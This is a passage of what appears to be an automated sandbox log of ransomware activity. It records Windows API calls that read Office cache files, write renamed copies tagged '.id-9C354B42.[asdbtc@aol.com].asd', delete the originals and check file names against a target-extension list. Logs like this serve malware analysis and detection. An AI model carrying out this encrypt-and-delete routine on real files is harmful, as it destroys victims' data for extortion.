users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.134] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=27195) returned 1 [0044.134] CloseHandle (hObject=0x198) returned 1 [0044.134] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0044.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.135] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.135] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.135] GetLastError () returned 0x0 [0044.135] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0044.140] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0044.144] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.144] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0044.144] SetEndOfFile (hFile=0x1b0) returned 1 [0044.144] CloseHandle (hObject=0x1b0) returned 1 [0044.146] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.146] SetEndOfFile (hFile=0x198) returned 1 [0044.147] CloseHandle (hObject=0x198) returned 1 [0044.147] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.147] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0044.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.147] lstrlenW (lpString=".doc") returned 4 [0044.147] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0044.147] lstrlenW (lpString=".docx") returned 5 [0044.147] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0044.147] lstrlenW (lpString=".pdf") returned 4 [0044.147] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0044.147] lstrlenW (lpString=".xls") returned 4 [0044.147] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0044.147] lstrlenW (lpString=".xlsx") returned 5 [0044.147] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0044.147] lstrlenW (lpString=".ppt") returned 4 [0044.148] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.148] lstrlenW (lpString=".zip") returned 4 [0044.148] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString=".rar") returned 4 [0044.148] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString=".bz2") returned 4 [0044.148] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0044.148] lstrlenW (lpString=".7z") returned 3 [0044.148] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.148] lstrlenW (lpString=".dbf") returned 4 [0044.148] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.148] lstrlenW (lpString=".1cd") returned 4 [0044.148] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.148] lstrlenW (lpString=".jpg") returned 4 [0044.148] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.148] lstrlenW (lpString=".doc") returned 4 [0044.148] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString=".docx") returned 5 [0044.148] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0044.148] lstrlenW (lpString=".pdf") returned 4 [0044.148] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString=".xls") returned 4 [0044.148] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0044.148] lstrlenW (lpString=".xlsx") returned 5 [0044.148] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0044.149] lstrlenW (lpString=".ppt") returned 4 [0044.149] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.149] lstrlenW (lpString=".zip") returned 4 [0044.149] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0044.149] lstrlenW (lpString=".rar") returned 4 [0044.149] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0044.149] lstrlenW (lpString=".bz2") returned 4 [0044.149] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0044.149] lstrlenW (lpString=".7z") returned 3 [0044.149] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.149] lstrlenW (lpString=".dbf") returned 4 [0044.149] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.149] lstrlenW (lpString=".1cd") returned 4 [0044.149] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0044.149] lstrlenW (lpString=".jpg") returned 4 [0044.149] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0044.149] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.149] lstrlenW (lpString="Setup.xml") returned 9 [0044.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.150] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=9352) returned 1 [0044.150] CloseHandle (hObject=0x198) returned 1 [0044.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.150] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.150] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.175] GetLastError () returned 0x0 [0044.175] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x2488, lpOverlapped=0x0) returned 1 [0044.182] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0044.183] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.183] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.184] SetEndOfFile (hFile=0x1b0) returned 1 [0044.184] CloseHandle (hObject=0x1b0) returned 1 [0044.188] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.188] SetEndOfFile (hFile=0x198) returned 1 [0044.188] CloseHandle (hObject=0x198) returned 1 [0044.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.189] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.189] lstrlenW (lpString=".doc") returned 4 [0044.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.189] lstrlenW (lpString=".docx") returned 5 [0044.189] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.189] lstrlenW (lpString=".pdf") returned 4 [0044.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.189] lstrlenW (lpString=".xls") returned 4 [0044.189] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.189] lstrlenW (lpString=".xlsx") returned 5 [0044.189] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.189] lstrlenW (lpString=".ppt") returned 4 [0044.189] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.189] lstrlenW (lpString=".zip") returned 4 [0044.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.190] lstrlenW (lpString=".rar") returned 4 [0044.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString=".bz2") returned 4 [0044.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString=".7z") returned 3 [0044.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.190] lstrlenW (lpString=".dbf") returned 4 [0044.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.190] lstrlenW (lpString=".1cd") returned 4 [0044.190] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.190] lstrlenW (lpString=".jpg") returned 4 [0044.190] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.190] lstrlenW (lpString=".doc") returned 4 [0044.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString=".docx") returned 5 [0044.190] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.190] lstrlenW (lpString=".pdf") returned 4 [0044.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString=".xls") returned 4 [0044.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString=".xlsx") returned 5 [0044.190] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.190] lstrlenW (lpString=".ppt") returned 4 [0044.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.191] lstrlenW (lpString=".zip") returned 4 [0044.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.191] lstrlenW (lpString=".rar") returned 4 [0044.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.191] lstrlenW (lpString=".bz2") returned 4 [0044.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.191] lstrlenW (lpString=".7z") returned 3 [0044.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.191] lstrlenW (lpString=".dbf") returned 4 [0044.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.191] lstrlenW (lpString=".1cd") returned 4 [0044.191] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.191] lstrlenW (lpString=".jpg") returned 4 [0044.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.191] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.191] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0044.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.192] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=819) returned 1 [0044.192] CloseHandle (hObject=0x198) returned 1 [0044.192] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0044.192] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.192] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.192] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.192] GetLastError () returned 0x0 [0044.192] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x333, lpOverlapped=0x0) returned 1 [0044.538] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x340, lpOverlapped=0x0) returned 1 [0044.538] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.539] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0044.539] SetEndOfFile (hFile=0x1b0) returned 1 [0044.539] CloseHandle (hObject=0x1b0) returned 1 [0044.540] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.540] SetEndOfFile (hFile=0x198) returned 1 [0044.541] CloseHandle (hObject=0x198) returned 1 [0044.541] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.541] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0044.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.541] lstrlenW (lpString=".doc") returned 4 [0044.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.541] lstrlenW (lpString=".docx") returned 5 [0044.541] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0044.541] lstrlenW (lpString=".pdf") returned 4 [0044.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.541] lstrlenW (lpString=".xls") returned 4 [0044.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.541] lstrlenW (lpString=".xlsx") returned 5 [0044.542] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0044.542] lstrlenW (lpString=".ppt") returned 4 [0044.542] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.542] lstrlenW (lpString=".zip") returned 4 [0044.542] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.542] lstrlenW (lpString=".rar") returned 4 [0044.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.542] lstrlenW (lpString=".bz2") returned 4 [0044.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.542] lstrlenW (lpString=".7z") returned 3 [0044.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.542] lstrlenW (lpString=".dbf") returned 4 [0044.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.542] lstrlenW (lpString=".1cd") returned 4 [0044.542] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.542] lstrlenW (lpString=".jpg") returned 4 [0044.542] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.542] lstrlenW (lpString=".doc") returned 4 [0044.542] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString=".docx") returned 5 [0044.543] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0044.543] lstrlenW (lpString=".pdf") returned 4 [0044.543] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString=".xls") returned 4 [0044.543] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString=".xlsx") returned 5 [0044.543] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0044.543] lstrlenW (lpString=".ppt") returned 4 [0044.543] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.543] lstrlenW (lpString=".zip") returned 4 [0044.543] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.543] lstrlenW (lpString=".rar") returned 4 [0044.543] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString=".bz2") returned 4 [0044.543] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString=".7z") returned 3 [0044.543] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.543] lstrlenW (lpString=".dbf") returned 4 [0044.543] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.543] lstrlenW (lpString=".1cd") returned 4 [0044.544] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0044.544] lstrlenW (lpString=".jpg") returned 4 [0044.544] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.544] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.544] lstrlenW 